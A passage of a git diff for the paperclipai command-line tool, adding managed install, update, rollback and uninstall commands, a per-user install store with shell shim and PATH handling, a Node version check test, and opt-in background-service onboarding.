"./commands/install.js"; +import { uninstallCommand } from "./commands/uninstall.js"; +import { updateCommand } from "./commands/update.js"; +import { registerServiceCommands } from "./commands/service.js"; const program = new Command(); const DATA_DIR_OPTION_HELP = "Paperclip data directory root (isolates state from ~/.paperclip)"; +program.enablePositionalOptions(); + program .name("paperclipai") .description("Paperclip CLI — setup, diagnose, and configure your instance") .version(cliVersion); +program + .command("install") + .description("Install Paperclip into a managed per-user CLI store") + .option("--canary", "Install the npm canary channel") + .option("--version ", "Install an exact published npm version") + .option("--ref ", "Install a GitHub branch, tag, or commit SHA") + .option("--repo ", "Override the GitHub repository used with --ref") + .option("-y, --yes", "Consent to git-ref code execution and supported shell PATH updates without prompting") + .action(installCommand); + +program + .command("uninstall") + .description("Remove the managed CLI install while preserving user data") + .action(uninstallCommand); + +program + .command("update") + .alias("upgrade") + .description("Check, update, or roll back the Paperclip CLI") + .option("--latest", "Switch to the latest stable channel") + .option("--canary", "Switch to the canary channel") + .option("--version ", "Install an exact published version") + .option("--rollback", "Flip back to the retained previous managed payload") + .option("--check", "Check for an available update without applying it") + .option("--dry-run", "Print the action without changing anything") + .option("--json", "Print machine-readable output") + .option("-y, --yes", "Confirm an explicit downgrade") + .option("--no-backup", "Skip the pre-update database backup") + .action(updateCommand); + program.hook("preAction", (_thisCommand, actionCommand) => { const options = actionCommand.optsWithGlobals() as DataDirOptionLike; const optionNames = new Set(actionCommand.options.map((option) => option.attributeName())); @@ -72,6 +109,8 @@ program .option("-d, --data-dir ", DATA_DIR_OPTION_HELP) .option("--bind ", "Quickstart reachability preset (loopback, lan, tailnet)") .option("-y, --yes", "Accept quickstart defaults (trusted local loopback unless --bind is set) and start immediately", false) + .option("--install-service", "Install and start the background service after onboarding") + .option("--no-install-service", "Do not install or suggest the background service") .option("--run", "Start Paperclip immediately after saving config", false) .action(onboard); @@ -94,6 +133,14 @@ program .option("-d, --data-dir ", DATA_DIR_OPTION_HELP) .action(envCommand); +program + .command("channels") + .description("Show the release channels and which one this install follows") + .option("--json", "Machine-readable output") + .action(async (opts) => { + await channelsCommand(opts); + }); + program .command("configure") .description("Update configuration sections") @@ -132,9 +179,11 @@ const run = program .option("--bind ", "On first run, use onboarding reachability preset (loopback, lan, tailnet)") .option("--repair", "Attempt automatic repairs during doctor", true) .option("--no-repair", "Disable automatic repairs during doctor") + .option("--force", "Run even when the same instance is active under the service manager") .action(runCommand); registerRunCommands(run); +registerServiceCommands(program); const heartbeat = program.command("heartbeat").description("Heartbeat utilities"); @@ -182,7 +231,6 @@ registerRoutineCommands(program); registerPipelineCommands(program); registerFeedbackCommands(program); registerSecretCommands(program); -registerCloudCommands(program); registerSkillsCommands(program); registerTeamCommands(program); registerWorktreeCommands(program); @@ -215,6 +263,8 @@ auth registerClientAuthCommands(auth); async function main(): Promise { + warnIfUnsupportedNodeVersion(process.versions.node, (message) => console.warn(message)); + let failed = false; try { await program.parseAsync(); diff --git a/cli/src/install-store.ts b/cli/src/install-store.ts new file mode 100644 index 00000000000..a89e867dc71 --- /dev/null +++ b/cli/src/install-store.ts @@ -0,0 +1,483 @@ +import fs from "node:fs"; +import path from "node:path"; +import { resolvePaperclipHomeDir } from "./config/home.js"; + +export const INSTALL_MANIFEST_VERSION = 1; +export const MANAGED_SHIM_MARKER = "paperclipai managed install shim v1"; +export const MANAGED_STORE_MARKER = "paperclipai managed install store v1\n"; +export const PATH_BLOCK_START = "# >>> paperclipai managed PATH >>>"; +export const PATH_BLOCK_END = "# <<< paperclipai managed PATH <<<"; + +export type InstallSource = "npm" | "git"; +export type InstallChannel = "latest" | "canary" | "pinned"; + +export type InstallRecord = { + source: InstallSource; + version: string; + channel: InstallChannel; + payloadPath: string; + repo?: string; + ref?: string; + sha?: string; + installedAt: string; +}; + +export type InstallManifest = InstallRecord & { + schemaVersion: typeof INSTALL_MANIFEST_VERSION; + previous: InstallRecord[]; +}; + +export type InstallStorePaths = { + paperclipHome: string; + cliRoot: string; + installsRoot: string; + manifestPath: string; + markerPath: string; + lockPath: string; + currentPath: string; + shimPath: string; +}; + +function ensurePrivateDirectory(directoryPath: string): void { + fs.mkdirSync(directoryPath, { recursive: true, mode: 0o700 }); + const stat = fs.lstatSync(directoryPath); + if (!stat.isDirectory() || stat.isSymbolicLink()) { + throw new Error(`Refusing to use non-directory install-store path ${directoryPath}.`); + } + fs.chmodSync(directoryPath, 0o700); +} + +function assertOwnedByCurrentUser(stat: fs.Stats, targetPath: string): void { + const getuid = process.getuid; + if (typeof getuid === "function" && stat.uid !== getuid()) { + throw new Error(`Refusing to modify path not owned by the current user: ${targetPath}.`); + } +} + +function writeFileAtomic(filePath: string, contents: string, mode: number): void { + const temporaryPath = path.join( + path.dirname(filePath), + `.${path.basename(filePath)}.tmp-${process.pid}-${Date.now()}-${Math.random().toString(16).slice(2)}`, + ); + try { + fs.writeFileSync(temporaryPath, contents, { mode, flag: "wx" }); + fs.renameSync(temporaryPath, filePath); + } finally { + fs.rmSync(temporaryPath, { force: true }); + } +} + +export function resolveInstallStorePaths(options: { + paperclipHome?: string; + homeDir?: string; +} = {}): InstallStorePaths { + const paperclipHome = path.resolve(options.paperclipHome ?? resolvePaperclipHomeDir()); + const homeDir = path.resolve(options.homeDir ?? process.env.HOME ?? path.dirname(paperclipHome)); + const cliRoot = path.join(paperclipHome, "cli"); + return { + paperclipHome, + cliRoot, + installsRoot: path.join(cliRoot, "installs"), + manifestPath: path.join(cliRoot, "install.json"), + markerPath: path.join(cliRoot, ".managed-install"), + lockPath: path.join(cliRoot, ".install.lock"), + currentPath: path.join(cliRoot, "current"), + shimPath: path.join(homeDir, ".local", "bin", "paperclipai"), + }; +} + +export function initializeInstallStore(paths = resolveInstallStorePaths()): void { + ensurePrivateDirectory(paths.cliRoot); + ensurePrivateDirectory(paths.installsRoot); + try { + const markerStat = fs.lstatSync(paths.markerPath); + if (!markerStat.isFile() || markerStat.isSymbolicLink() || markerStat.nlink > 1) { + throw new Error(`Refusing to use unsafe install-store marker ${paths.markerPath}.`); + } + assertOwnedByCurrentUser(markerStat, paths.markerPath); + if (fs.readFileSync(paths.markerPath, "utf8") !== MANAGED_STORE_MARKER) { + throw new Error(`Refusing to use unrecognized install store ${paths.cliRoot}.`); + } + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== "ENOENT") throw error; + try { + fs.writeFileSync(paths.markerPath, MANAGED_STORE_MARKER, { mode: 0o600, flag: "wx" }); + } catch (writeError) { + if ( + (writeError as NodeJS.ErrnoException).code !== "EEXIST" || + fs.readFileSync(paths.markerPath, "utf8") !== MANAGED_STORE_MARKER + ) { + throw writeError; + } + } + } +} + +export function assertManagedInstallStore(paths = resolveInstallStorePaths()): InstallManifest { + const cliStat = fs.lstatSync(paths.cliRoot); + if (!cliStat.isDirectory() || cliStat.isSymbolicLink()) { + throw new Error(`Refusing to remove unsafe install-store path ${paths.cliRoot}.`); + } + assertOwnedByCurrentUser(cliStat, paths.cliRoot); + let markerStat: fs.Stats; + try { + markerStat = fs.lstatSync(paths.markerPath); + } catch (error) { + if ((error as NodeJS.ErrnoException).code === "ENOENT") { + throw new Error(`Refusing to remove unverified install store ${paths.cliRoot}.`); + } + throw error; + } + if (!markerStat.isFile() || markerStat.isSymbolicLink() || markerStat.nlink > 1) { + throw new Error(`Refusing to remove unverified install store ${paths.cliRoot}.`); + } + assertOwnedByCurrentUser(markerStat, paths.markerPath); + if (fs.readFileSync(paths.markerPath, "utf8") !== MANAGED_STORE_MARKER) { + throw new Error(`Refusing to remove unverified install store ${paths.cliRoot}.`); + } + const manifest = readInstallManifest(paths); + if (!manifest) throw new Error(`Refusing to remove install store without a manifest at ${paths.cliRoot}.`); + const relativePayload = path.relative(paths.installsRoot, path.resolve(manifest.payloadPath)); + if (!relativePayload || relativePayload.startsWith("..") || path.isAbsolute(relativePayload)) { + throw new Error(`Refusing to remove install store with an invalid manifest at ${paths.cliRoot}.`); + } + return manifest; +} + +export async function withInstallStoreLock( + callback: () => Promise, + paths = resolveInstallStorePaths(), + options: { initialize?: boolean } = {}, +): Promise { + if (options.initialize !== false) initializeInstallStore(paths); + const token = `${process.pid}:${Date.now()}:${Math.random().toString(16).slice(2)}`; + const processIsAlive = (pid: number): boolean => { + try { + process.kill(pid, 0); + return true; + } catch (error) { + return (error as NodeJS.ErrnoException).code === "EPERM"; + } + }; + const acquire = (): void => { + const temporaryPath = `${paths.lockPath}.${token}.tmp`; + try { + fs.writeFileSync(temporaryPath, `${token}\n`, { mode: 0o600, flag: "wx" }); + try { + fs.linkSync(temporaryPath, paths.lockPath); + return; + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== "EEXIST") throw error; + } + const owner = fs.readFileSync(paths.lockPath, "utf8").trim(); + const ownerPid = Number.parseInt(owner.split(":", 1)[0] ?? "", 10); + if (Number.isInteger(ownerPid) && ownerPid > 0 && !processIsAlive(ownerPid)) { + fs.rmSync(paths.lockPath); + fs.rmSync(temporaryPath, { force: true }); + acquire(); + return; + } + const ownerLabel = Number.isInteger(ownerPid) && ownerPid > 0 ? ` (pid ${ownerPid})` : ""; + throw new Error( + `Another managed install is already running${ownerLabel}. ` + + `If no install process is active, remove the stale lock at ${paths.lockPath} and retry.`, + ); + } finally { + fs.rmSync(temporaryPath, { force: true }); + } + }; + + acquire(); + try { + return await callback(); + } finally { + try { + if (fs.readFileSync(paths.lockPath, "utf8").trim() === token) { + fs.rmSync(paths.lockPath, { force: true }); + } + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== "ENOENT") throw error; + } + } +} + +export function payloadPathFor( + paths: InstallStorePaths, + source: InstallSource, + identifier: string, +): string { + if (!/^[A-Za-z0-9._-]+$/.test(identifier)) { + throw new Error(`Invalid install payload identifier '${identifier}'.`); + } + return path.join(paths.installsRoot, source, identifier); +} + +export function readInstallManifest(paths = resolveInstallStorePaths()): InstallManifest | null { + try { + const value = JSON.parse(fs.readFileSync(paths.manifestPath, "utf8")) as InstallManifest; + if ( + value.schemaVersion !== INSTALL_MANIFEST_VERSION || + (value.source !== "npm" && value.source !== "git") || + !Array.isArray(value.previous) || + typeof value.payloadPath !== "string" + ) { + throw new Error("unsupported manifest shape"); + } + return value; + } catch (error) { + if ((error as NodeJS.ErrnoException).code === "ENOENT") return null; + throw new Error(`Could not read managed install manifest at ${paths.manifestPath}: ${String(error)}`); + } +} + +export function writeInstallManifestAtomic( + manifest: InstallManifest, + paths = resolveInstallStorePaths(), +): void { + ensurePrivateDirectory(paths.cliRoot); + const temporaryPath = `${paths.manifestPath}.tmp-${process.pid}-${Date.now()}`; + try { + fs.writeFileSync(temporaryPath, `${JSON.stringify(manifest, null, 2)}\n`, { mode: 0o600 }); + fs.renameSync(temporaryPath, paths.manifestPath); + } finally { + fs.rmSync(temporaryPath, { force: true }); + } +} + +function assertPayloadPath(payloadPath: string, paths: InstallStorePaths): void { + const relative = path.relative(paths.installsRoot, path.resolve(payloadPath)); + if (!relative || relative.startsWith("..") || path.isAbsolute(relative)) { + throw new Error(`Refusing to activate payload outside ${paths.installsRoot}.`); + } + const stat = fs.lstatSync(payloadPath); + if (!stat.isDirectory() || stat.isSymbolicLink()) { + throw new Error(`Refusing to activate non-directory payload ${payloadPath}.`); + } + const installsRealPath = fs.realpathSync(paths.installsRoot); + const payloadRealPath = fs.realpathSync(payloadPath); + if (!payloadRealPath.startsWith(`${installsRealPath}${path.sep}`)) { + throw new Error(`Refusing to activate payload that resolves outside ${paths.installsRoot}.`); + } +} + +export function flipCurrentAtomic( + payloadPath: string, + paths = resolveInstallStorePaths(), + hooks: { beforeRename?: () => void } = {}, +): void { + assertPayloadPath(payloadPath, paths); + ensurePrivateDirectory(paths.cliRoot); + try { + const currentStat = fs.lstatSync(paths.currentPath); + if (!currentStat.isSymbolicLink()) { + throw new Error(`Refusing to replace non-symlink ${paths.currentPath}.`); + } + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== "ENOENT") throw error; + } + + const temporaryLink = path.join( + paths.cliRoot, + `.current-${process.pid}-${Date.now()}-${Math.random().toString(16).slice(2)}`, + ); + const relativeTarget = path.relative(paths.cliRoot, payloadPath); + try { + fs.symlinkSync(relativeTarget, temporaryLink, "dir"); + hooks.beforeRename?.(); + fs.renameSync(temporaryLink, paths.currentPath); + } finally { + fs.rmSync(temporaryLink, { force: true }); + } +} + +export function buildNextManifest( + record: InstallRecord, + current: InstallManifest | null, +): InstallManifest { + const candidates: InstallRecord[] = current + ? [ + { + source: current.source, + version: current.version, + channel: current.channel, + payloadPath: current.payloadPath, + repo: current.repo, + ref: current.ref, + sha: current.sha, + installedAt: current.installedAt, + }, + ...current.previous, + ] + : []; + const previous = candidates + .filter((candidate) => path.resolve(candidate.payloadPath) !== path.resolve(record.payloadPath)) + .filter( + (candidate, index, all) => + all.findIndex((other) => path.resolve(other.payloadPath) === path.resolve(candidate.payloadPath)) === + index, + ) + .slice(0, 2); + + return { schemaVersion: INSTALL_MANIFEST_VERSION, ...record, previous }; +} + +export function pruneInstallPayloads( + manifest: InstallManifest, + paths = resolveInstallStorePaths(), +): string[] { + const retained = new Set( + [manifest, ...manifest.previous].map((record) => path.resolve(record.payloadPath)), + ); + const removed: string[] = []; + for (const source of ["npm", "git"] as const) { + const sourceRoot = path.join(paths.installsRoot, source); + if (!fs.existsSync(sourceRoot)) continue; + const sourceStat = fs.lstatSync(sourceRoot); + if (!sourceStat.isDirectory() || sourceStat.isSymbolicLink()) { + throw new Error(`Refusing to prune unsafe install-store path ${sourceRoot}.`); + } + for (const entry of fs.readdirSync(sourceRoot)) { + if (entry.startsWith(".")) continue; + const candidate = path.join(sourceRoot, entry); + if (!retained.has(path.resolve(candidate))) { + fs.rmSync(candidate, { recursive: true, force: true }); + removed.push(candidate); + } + } + } + return removed; +} + +export function assertManagedShimWritable(paths = resolveInstallStorePaths()): void { + const homeDir = path.dirname(path.dirname(path.dirname(paths.shimPath))); + for (const directoryPath of [homeDir, path.join(homeDir, ".local"), path.dirname(paths.shimPath)]) { + if (!fs.existsSync(directoryPath)) continue; + const directoryStat = fs.lstatSync(directoryPath); + if (!directoryStat.isDirectory() || directoryStat.isSymbolicLink()) { + throw new Error(`Refusing to use unsafe shim directory ${directoryPath}.`); + } + assertOwnedByCurrentUser(directoryStat, directoryPath); + } + try { + const stat = fs.lstatSync(paths.shimPath); + if (!stat.isFile() || stat.isSymbolicLink()) { + throw new Error(`Refusing to replace non-regular shim ${paths.shimPath}.`); + } + assertOwnedByCurrentUser(stat, paths.shimPath); + if (stat.nlink > 1) throw new Error(`Refusing to replace multiply linked shim ${paths.shimPath}.`); + const existing = fs.readFileSync(paths.shimPath, "utf8"); + if (!isManagedShimContents(existing)) { + throw new Error(`Refusing to replace existing non-managed command ${paths.shimPath}.`); + } + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== "ENOENT") throw error; + } +} + +function shellQuote(value: string): string { + return `'${value.replace(/'/g, `'"'"'`)}'`; +} + +function isManagedShimContents(contents: string): boolean { + const lines = contents.split("\n"); + return ( + lines.length === 5 && + lines[0] === "#!/bin/sh" && + lines[1] === `# ${MANAGED_SHIM_MARKER}` && + lines[2] === "set -eu" && + /^exec '(?:[^']|'"'"')+' '(?:[^']|'"'"')+' "\$@"$/.test(lines[3]) && + lines[4] === "" + ); +} + +export function writeManagedShim(paths = resolveInstallStorePaths()): void { + assertManagedShimWritable(paths); + const homeDir = path.dirname(path.dirname(path.dirname(paths.shimPath))); + const localDir = path.dirname(path.dirname(paths.shimPath)); + fs.mkdirSync(homeDir, { recursive: true, mode: 0o700 }); + fs.mkdirSync(localDir, { recursive: true, mode: 0o755 }); + fs.mkdirSync(path.dirname(paths.shimPath), { recursive: true, mode: 0o755 }); + assertManagedShimWritable(paths); + const entrypoint = path.join(paths.currentPath, "node_modules", "paperclipai", "dist", "index.js"); + const contents = `#!/bin/sh\n# ${MANAGED_SHIM_MARKER}\nset -eu\nexec ${shellQuote(process.execPath)} ${shellQuote(entrypoint)} "\$@"\n`; + writeFileAtomic(paths.shimPath, contents, 0o755); +} + +export function removeManagedShim(paths = resolveInstallStorePaths()): boolean { + try { + const contents = fs.readFileSync(paths.shimPath, "utf8"); + if (!isManagedShimContents(contents)) return false; + fs.rmSync(paths.shimPath, { force: true }); + return true; + } catch (error) { + if ((error as NodeJS.ErrnoException).code === "ENOENT") return true; + throw error; + } +} + +export function managedPathBlock(): string { + return `${PATH_BLOCK_START}\nexport PATH="$HOME/.local/bin:$PATH"\n${PATH_BLOCK_END}`; +} + +export function addManagedPathBlock(rcPath: string): boolean { + let existing = ""; + let mode = 0o600; + try { + const stat = fs.lstatSync(rcPath); + if (!stat.isFile() || stat.isSymbolicLink()) { + throw new Error(`Refusing to modify non-regular shell rc file ${rcPath}.`); + } + assertOwnedByCurrentUser(stat, rcPath); + mode = stat.mode & 0o777; + existing = fs.readFileSync(rcPath, "utf8"); + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== "ENOENT") throw error; + } + if (existing.includes(PATH_BLOCK_START)) return false; + fs.mkdirSync(path.dirname(rcPath), { recursive: true }); + const prefix = existing.length > 0 && !existing.endsWith("\n") ? "\n" : ""; + writeFileAtomic(rcPath, `${existing}${prefix}${managedPathBlock()}\n`, mode); + return true; +} + +export function removeManagedPathBlock(rcPath: string): boolean { + let existing: string; + let mode: number; + try { + const stat = fs.lstatSync(rcPath); + if (!stat.isFile() || stat.isSymbolicLink()) { + throw new Error(`Refusing to modify non-regular shell rc file ${rcPath}.`); + } + assertOwnedByCurrentUser(stat, rcPath); + mode = stat.mode & 0o777; + existing = fs.readFileSync(rcPath, "utf8"); + } catch (error) { + if ((error as NodeJS.ErrnoException).code === "ENOENT") return false; + throw error; + } + const escapedStart = PATH_BLOCK_START.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); + const escapedEnd = PATH_BLOCK_END.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); + const next = existing.replace(new RegExp(`(?:^|\\n)${escapedStart}\\n[\\s\\S]*?${escapedEnd}\\n?`), "\n"); + if (next === existing) return false; + writeFileAtomic(rcPath, next.replace(/^\n/, ""), mode); + return true; +} + +export function isManagedExecutable( + executablePath: string | undefined, + manifest: InstallManifest, + paths = resolveInstallStorePaths(), +): boolean { + if (!executablePath) return false; + try { + const executableRealPath = fs.realpathSync(executablePath); + const payloadRealPath = fs.realpathSync(manifest.payloadPath); + const currentRealPath = fs.realpathSync(paths.currentPath); + return ( + currentRealPath === payloadRealPath && + executableRealPath.startsWith(`${payloadRealPath}${path.sep}`) + ); + } catch { + return false; + } +} diff --git a/cli/src/node-version.test.ts b/cli/src/node-version.test.ts new file mode 100644 index 00000000000..ef1cde7359e --- /dev/null +++ b/cli/src/node-version.test.ts @@ -0,0 +1,44 @@ +import { describe, expect, it } from "vitest"; +import { + formatNodeVersionWarning, + isSupportedNodeVersion, + MINIMUM_NODE_VERSION, + NODE_VERSION_INSTALL_GUIDE_URL, + warnIfUnsupportedNodeVersion, +} from "@paperclipai/shared/node-version"; + +describe("isSupportedNodeVersion", () => { + it("accepts the Node 24 LTS floor and newer releases", () => { + expect(MINIMUM_NODE_VERSION).toBe("24.11.0"); + expect(isSupportedNodeVersion("v24.11.0")).toBe(true); + expect(isSupportedNodeVersion("24.19.0")).toBe(true); + expect(isSupportedNodeVersion("v26.0.0")).toBe(true); + }); + + it("rejects pre-LTS Node 24 and older major releases", () => { + expect(isSupportedNodeVersion("v24.10.0")).toBe(false); + expect(isSupportedNodeVersion("v22.23.0")).toBe(false); + expect(isSupportedNodeVersion("unknown")).toBe(false); + }); + + it("provides non-blocking remediation text for unsupported runtimes", () => { + expect(formatNodeVersionWarning("v24.11.0")).toBeNull(); + const warning = formatNodeVersionWarning("v22.23.0"); + expect(warning).toContain("Node.js v22.23.0 is unsupported"); + expect(warning).toContain("requires Node.js 24.11.0 or newer"); + expect(warning).toContain(NODE_VERSION_INSTALL_GUIDE_URL); + expect(warning).toContain("piped install.sh form cannot upgrade"); + expect(warning).toContain("Restart Paperclip after upgrading"); + }); + + it("emits at most one warning when CLI and server boot in the same process", () => { + const warnings: string[] = []; + expect( + warnIfUnsupportedNodeVersion("22.23.0", (message) => warnings.push(message)), + ).toBe(true); + expect( + warnIfUnsupportedNodeVersion("22.23.0", (message) => warnings.push(message)), + ).toBe(false); + expect(warnings).toHaveLength(1); + }); +}); diff --git a/cli/src/onboard-service.ts b/cli/src/onboard-service.ts new file mode 100644 index 00000000000..52a115953bb --- /dev/null +++ b/cli/src/onboard-service.ts @@ -0,0 +1,276 @@ +import path from "node:path"; +import * as p from "@clack/prompts"; +import pc from "picocolors"; +import type { PaperclipConfig } from "./config/schema.js"; +import { openUrl } from "./client/board-auth.js"; +import { installCommand } from "./commands/install.js"; +import { resolvePaperclipInstanceId } from "./config/home.js"; +import { readRuntimeInfo, type PaperclipRuntimeInfo } from "./runtime-info.js"; +import { + readInstallManifest, + resolveInstallStorePaths, + type InstallManifest, +} from "./install-store.js"; +import { + detectServiceManager, + isExecutableFile, + resolveServiceShimPath, + type ServiceManagerDetection, +} from "./services/service-manager.js"; +import { buildLocalAppUrl, buildLocalHealthUrl } from "./utils/health-url.js"; +import { packageVersion } from "./version.js"; + +export type OnboardServiceOptions = { + yes?: boolean; + installService?: boolean; +}; + +type EnsureShimResult = { ok: boolean; installedNow: boolean; reason?: string }; +type OnboardServiceDashboardConfig = { + auth: Pick; + server: Pick; +}; + +type OnboardServiceDashboardDependencies = { + isInteractive: () => boolean; + waitUntilReady: () => Promise; + openDashboard: (url: string) => Promise; + info: (message: string) => void; + success: (message: string) => void; + warn: (message: string) => void; +}; + +function envDisablesBrowser(value = process.env.PAPERCLIP_NO_BROWSER): boolean { + const normalized = value?.trim().toLowerCase(); + return normalized === "1" || normalized === "true" || normalized === "yes"; +} + +async function waitUntilDashboardReady(timeoutMs = 60_000): Promise { + const instanceId = resolvePaperclipInstanceId(); + const detection = await detectServiceManager({ instanceId }); + if (!detection.supported) return null; + const deadline = Date.now() + timeoutMs; + while (Date.now() < deadline) { + const info = readRuntimeInfo(instanceId); + if (info) { + const status = await detection.manager.status().catch(() => null); + if (status?.active && status.pid === info.pid) { + try { + const response = await fetch(buildLocalHealthUrl(info.host, info.port), { + signal: AbortSignal.timeout(2_000), + }); + const body = await response.json() as { status?: unknown }; + if (response.ok && body.status === "ok") return info; + } catch {} + } + } + await new Promise((resolve) => setTimeout(resolve, 500)); + } + return null; +} + +const defaultDashboardDependencies: OnboardServiceDashboardDependencies = { + isInteractive: () => process.stdin.isTTY === true && process.stdout.isTTY === true, + waitUntilReady: waitUntilDashboardReady, + openDashboard: openUrl, + info: (message) => p.log.info(message), + success: (message) => p.log.success(message), + warn: (message) => p.log.warn(message), +}; + +export function resolveOnboardServiceDashboardUrl( + config: OnboardServiceDashboardConfig, + runtime?: Pick | null, +): string { + if (runtime?.dashboardUrl.trim()) return runtime.dashboardUrl.trim().replace(/\/+$/, ""); + if (config.auth.baseUrlMode === "explicit" && config.auth.publicBaseUrl?.trim()) { + return config.auth.publicBaseUrl.trim().replace(/\/+$/, ""); + } + return buildLocalAppUrl(config.server.host, config.server.port); +} + +export async function handoffToOnboardedService( + config: OnboardServiceDashboardConfig, + dependencies: Partial = {}, +): Promise { + const deps = { ...defaultDashboardDependencies, ...dependencies }; + const runtime = await deps.waitUntilReady(); + const dashboardUrl = resolveOnboardServiceDashboardUrl(config, runtime); + deps.info(`Paperclip dashboard: ${pc.cyan(dashboardUrl)}`); + + if (!runtime) { + deps.warn( + `The background service started, but the dashboard is not ready yet. ` + + `Open ${dashboardUrl} after checking \`paperclipai service logs\`.`, + ); + return; + } + + if (!deps.isInteractive() || envDisablesBrowser()) return; + + if (await deps.openDashboard(dashboardUrl)) { + deps.success("Sent the Paperclip dashboard to your browser."); + } else { + deps.warn(`Could not open a browser automatically. Open ${dashboardUrl} manually.`); + } +} + +// Source checkouts carry the repository placeholder version; installing +// that as an npm spec would fetch an ancient release (or nothing) instead +// of the running code. Only real calendar versions are installable. +export function isInstallableReleaseVersion(version: string): boolean { + return /^\d{4}\.\d{1,4}\.\d+(?:-[0-9A-Za-z.-]+)?$/.test(version); +} + +type OnboardServiceDependencies = { + detect: (instanceId: string) => Promise; + ensureServiceShim: () => Promise; + confirm: () => Promise; + confirmLinger: () => Promise; + isInteractive: () => boolean; + info: (message: string) => void; + success: (message: string) => void; + warn: (message: string) => void; +}; + +const defaultDependencies: OnboardServiceDependencies = { + detect: (instanceId) => detectServiceManager({ instanceId }), + // The service definition targets the managed shim. An ephemeral run (npx) + // never lays it down, so installing the service without this step creates + // a definition that crash-loops on a missing binary. + ensureServiceShim: async () => { + const shimPath = resolveServiceShimPath(); + if (await isExecutableFile(shimPath)) { + return { ok: true, installedNow: false }; + } + const storeShimPath = resolveInstallStorePaths().shimPath; + if (path.resolve(shimPath) !== path.resolve(storeShimPath)) { + return { + ok: false, + installedNow: false, + reason: `no executable exists at ${shimPath} (PAPERCLIP_SHIM_PATH), and it is outside the managed install store`, + }; + } + let manifest: InstallManifest | null = null; + try { + manifest = readInstallManifest(); + } catch {} + try { + if (manifest?.source === "git" && manifest.repo) { + // A managed git payload must be preserved as-is: reinstall the + // exact revision the manifest records, not an npm release. + await installCommand({ repo: manifest.repo, ref: manifest.sha ?? manifest.ref, yes: true }); + } else if (isInstallableReleaseVersion(packageVersion)) { + // packageVersion, not cliVersion: a managed executable's cliVersion + // carries provenance text that is not an installable npm spec. + await installCommand({ version: packageVersion, yes: true }); + } else { + return { + ok: false, + installedNow: false, + reason: + `this build reports version ${packageVersion}, which is not an installable release; ` + + "run `paperclipai install` (or `paperclipai install --repo --ref ` for source builds) first", + }; + } + } catch (error) { + return { + ok: false, + installedNow: false, + reason: error instanceof Error ? error.message : String(error), + }; + } + if (await isExecutableFile(shimPath)) { + return { ok: true, installedNow: true }; + } + return { + ok: false, + installedNow: false, + reason: `the managed install completed but no executable shim appeared at ${shimPath}`, + }; + }, + confirm: async () => { + const answer = await p.confirm({ + message: "Install Paperclip as a background service?", + initialValue: true, + }); + return !p.isCancel(answer) && answer === true; + }, + confirmLinger: async () => { + const answer = await p.confirm({ + message: "Allow Paperclip to keep running after logout? This may request system authorization.", + initialValue: false, + }); + return !p.isCancel(answer) && answer === true; + }, + isInteractive: () => process.stdin.isTTY === true && process.stdout.isTTY === true, + info: (message) => p.log.message(pc.dim(message)), + success: (message) => p.log.success(message), + warn: (message) => p.log.warn(message), +}; + +export async function handleOnboardService( + options: OnboardServiceOptions, + dependencies: Partial = {}, +): Promise { + const deps = { ...defaultDependencies, ...dependencies }; + if (options.installService === false) return false; + + const explicitlyRequested = options.installService === true; + const canPrompt = options.yes !== true && deps.isInteractive(); + if (!explicitlyRequested && !canPrompt) { + deps.info( + "Background service not installed. Use `paperclipai onboard --install-service` or `paperclipai service install` to opt in.", + ); + return false; + } + + const instanceId = resolvePaperclipInstanceId(); + const detection = await deps.detect(instanceId); + if (!detection.supported) { + if (explicitlyRequested) deps.warn(detection.reason); + return false; + } + + if (!explicitlyRequested && !(await deps.confirm())) return false; + + // A definition pointing at a missing binary crash-loops in the platform + // supervisor's penalty box while doctor blames a port conflict. + // Materialize the managed install first, or decline with the repair path + // instead of installing a corpse. + const shim = await deps.ensureServiceShim(); + if (!shim.ok) { + deps.warn( + `Background service not installed: ${shim.reason ?? "the managed install could not be completed"}. ` + + "Run `paperclipai install`, then `paperclipai service install`.", + ); + return false; + } + if (shim.installedNow) { + deps.success("Installed the managed paperclipai payload and command shim for the service."); + } + + await detection.manager.install({ startNow: true, startOnLogin: true }); + if (!explicitlyRequested && detection.manager.enableLinger && await deps.confirmLinger()) { + await detection.manager.enableLinger(); + } + deps.success(`Installed and started ${detection.manager.serviceName}.`); + return true; +} + +// Onboarding falls back to offering a foreground start when nothing else +// will serve. A just-installed service is already serving, so offering the +// start would only run the user into the already-running instance guard. +export function shouldOfferForegroundStart(options: { + serviceInstalled: boolean; + startAlreadyDecided: boolean; + invokedByRun: boolean; + interactive: boolean; +}): boolean { + return ( + !options.startAlreadyDecided && + !options.serviceInstalled && + !options.invokedByRun && + options.interactive + ); +} diff --git a/cli/src/prompts/server.ts b/cli/src/prompts/server.ts index 404d4ea5752..bff9e18072e 100644 --- a/cli/src/prompts/server.ts +++ b/cli/src/prompts/server.ts @@ -84,7 +84,7 @@ export async function promptServer(opts?: { : "dotta-macbook-pro, host.docker.internal", validate: (val) => { try { - parseHostnameCsv(val); + parseHostnameCsv(val ?? ""); return; } catch (err) { return err instanceof Error ? err.message : "Invalid hostname list"; @@ -156,7 +156,7 @@ export async function promptServer(opts?: { defaultValue: defaultHost, placeholder: defaultHost, validate: (val) => { - if (!val.trim()) return "Host is required"; + if (!val || !val.trim()) return "Host is required"; if (deploymentMode === "local_trusted" && !isLoopbackHost(val.trim())) { return "Local trusted mode requires a loopback host such as 127.0.0.1"; } @@ -173,7 +173,7 @@ export async function promptServer(opts?: { placeholder: "dotta-macbook-pro, your-host.tailnet.ts.net", validate: (val) => { try { - parseHostnameCsv(val); + parseHostnameCsv(val ?? ""); return; } catch (err) { return err instanceof Error ? err.message : "Invalid hostname list"; @@ -192,7 +192,7 @@ export async function promptServer(opts?: { defaultValue: currentAuth?.publicBaseUrl ?? "", placeholder: "https://paperclip.example.com", validate: (val) => { - const candidate = val.trim(); + const candidate = val?.trim() ?? ""; if (!candidate) return "Public base URL is required for public exposure"; try { const url = new URL(candidate); diff --git a/cli/src/runtime-info.ts b/cli/src/runtime-info.ts new file mode 100644 index 00000000000..6c2287bdc77 --- /dev/null +++ b/cli/src/runtime-info.ts @@ -0,0 +1,82 @@ +import fs from "node:fs"; +import path from "node:path"; +import { 